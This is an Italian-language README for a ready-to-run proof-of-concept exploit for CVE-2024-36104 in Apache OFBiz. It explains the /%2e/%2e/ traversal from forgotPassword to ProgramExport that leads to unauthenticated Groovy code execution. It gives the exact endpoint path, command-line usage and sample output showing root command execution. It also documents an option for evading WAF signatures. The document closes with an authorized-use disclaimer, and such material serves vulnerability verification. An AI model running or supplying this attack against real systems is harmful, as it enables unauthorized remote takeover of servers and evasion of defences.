
PoC per CVE-2024-36104 — RCE Groovy non autenticata in Apache OFBiz (<18.12.14) tramite path traversal della view /%2e/%2e/ verso ProgramExport
Prova di concetto per CVE-2024-36104, una vulnerabilità di esecuzione remota di codice non autenticata in Apache OFBiz precedente alla 18.12.14.
Il ControlServlet di OFBiz risolve una vista non autenticata (forgotPassword) prima di canonicalizzare il percorso della richiesta. L'aggiunta di /%2e/%2e/ fa collassare il percorso su /webtools/control/, quindi la richiesta raggiunge la vista ProgramExport senza passare mai dal controllo di sicurezza/autorizzazione legato alla vista originale. ProgramExport esegue quindi codice Groovy arbitrario, consentendo l'esecuzione remota di comandi senza autenticazione.
Lo script racchiude il comando in uno snippet Groovy che lo esegue tramite /usr/bin/bash -lc, lo invia all'endpoint vulnerabile ed estrae l'output dall'eccezione java.lang.Exception che OFBiz restituisce nella risposta HTML.
/%2e/%2e/ da forgotPassword a ProgramExport.groovyProgram all'endpoint vulnerabile.Python 3.8+
pip install -r requirements.txt
Pacchetti Python richiesti:
requests
urllib3
I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Output di esempio:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502, il backend probabilmente non ha terminato prima del timeout del proxy; il comando potrebbe comunque completarsi lato server.--show-response per ispezionare l'HTML grezzo quando l'estrazione automatica fallisce.Questo PoC è destinato a test di sicurezza autorizzati, ambienti di laboratorio e verifica delle vulnerabilità. Non utilizzarlo contro sistemi senza esplicita autorizzazione.